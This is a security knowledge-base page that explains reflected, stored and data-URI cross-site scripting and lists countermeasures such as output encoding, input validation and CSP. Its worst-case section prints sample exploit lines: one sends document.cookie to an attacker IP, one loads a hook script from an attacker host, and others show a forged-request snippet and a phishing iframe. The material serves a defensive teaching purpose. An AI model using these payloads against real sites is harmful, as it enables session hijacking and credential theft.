Page tree
Skip to end of metadata
Go to start of metadata

Cross-Site Scripting (XSS) is one of the most common vulnerabilities and attacks against web applications. The goal of an XSS attack from an attacker point of view is to execute arbitrary script code in the context of another user.

XSS is an indirect attack so it requires the attacker to interact with another user of this application.

Affected TechnologiesGeneric Web Application

Variant 1: Reflected XSS

The most common XSS variant is reflected XSS. In this case, the script code is reflected by the application directly:

StepDescriptionExplanation / Example
1The attacker identifies
vulnerable parameter

An attacker append script code to all parameters of an application. He or she identifies a vulnerable parameter "q" in site "search":"><script>alert(1)</script>

The vulnerability exists here because the site does not validate (encode) the parameter "q" before it writes it into the HTML response:

<h1>Hallo <h1>asd"><script>alert(1)</script></h1>
2The attacker sends mail with exploit link to an (authenticated) user"><script>[Malicious Script Code]</script>
3Malicious script code is executed in the context of the (authenticated) user

In case the user now clicks on this link, the script code is executed in the context of this user. This particular attack is especially problematic if the user is also authenticated to the application. In this case, the attacker may steal the users' credentials to gain access to his / her profile etc.

Variant 2: Stored XSS

Less common than reflected XSS but much more critical is stored (or persistent) XSS. Here, the code is not reflected directly (request → response) but stored in the database and thereby not need the user to interact with the user directly (e.g. via sending a crafted URL). Let's look at the following example:

StepDescriptionExplanation / Example
1The attacker identifies
vulnerable parameter

Attacker enters


in a comment function and finds that a popup is shown when the user opens this comment.

2The attacker injects malicious code
<script>[Malicious Script Code]</script>
3Code (payload) is executedThe malicious code is now automatically executed within the browser of other users when they open the page with the comment.

Variant X: Self-Contained XSS

Another redirection and self-contained XSS attack works in both Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:


This example is a Base64-encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it.

Threat TypeIndirect Attack
Root Case

Insufficient output encoding/escaping of user-controlled variables before written into an (HTML) response.

Worst Case Scenario(s)

Session Hijacking

(Attacker can access data from other users)

see SEC-T - Session Hijacking

Exploit Code
	image = new Image(); 
	image.src='http://[Attacker IP]:8080/?'+document.cookie;

CSRF Attacks

see SEC-T - Cross-Site Request Forgery (CSRF)

Exploit Code
	var xhr = new XMLHttpRequest();'POST','http://[Attacked-Site]/cyclone/transfers',true);

Phishing Attacks / Website Defacements

Exploit Code
<iframe src="[Phishing-Site]" frameborder=0 style="height:1000;width:1000;position:absolute;z-index:100000" />

Exploitation of Known Vulnerabilities in Browser Components (Drive-By Downloads)

Exploit Code
<script src="http://[Attacker IP]:3000/hook.js"></script>


SEC-C - Encoding/Escaping at the Frontend (Preventing XSS)

  • Always consider context-sensitive (e.g. HTML context differently then JS context)
  • Use safe view technologies such as JSF, Angular JS or JSTL that automatically perform output validation (at least for HTML context) by default.
  • Be really careful when writing parameters unencoded into HTML, e.g. by deactivating default escaping of a framework. If you need to do this, use safe HTML validator APIs.
SEC-C - Restrictive Input Validation (HTML)PrimaryWhen an application has to parse HTML input.
SEC-C - Restrictive Input Validation (Generic)Secondary
  • Restrict the maximum input length (e.g. 5 characters max)
  • Whitelist the allowed input (e.g. only a-zA-Z0-9). You can also blacklist certain insecure characters (e.g. <>"), however, whitelisting should always be the preferred approach.
SEC-C - X-XSS-Protection HeaderSecondaryAdditional Mitigation
SEC-C - Content Security Policy (CSP)SecondaryAdditional Mitigation
SEC-C - Secure Downloading of Untrusted FilesSecondaryAdditional Mitigation (for untrusted/uploaded files)
SEC-C - Session Management HardeningSecondaryAdditoinal Mitigation (set restrictive flags for session cookies in order to protect them from being leaked by an XSS vulnerability)

Test all parameters with the following identifiers (not just those from HTML forms but also application parameters): 


If you find it reflected by the application unencoded in the HTML content, the application is most likely to be vulnerable.

You can also test a harmless exploit that opens an alert box but only works with very easy ones: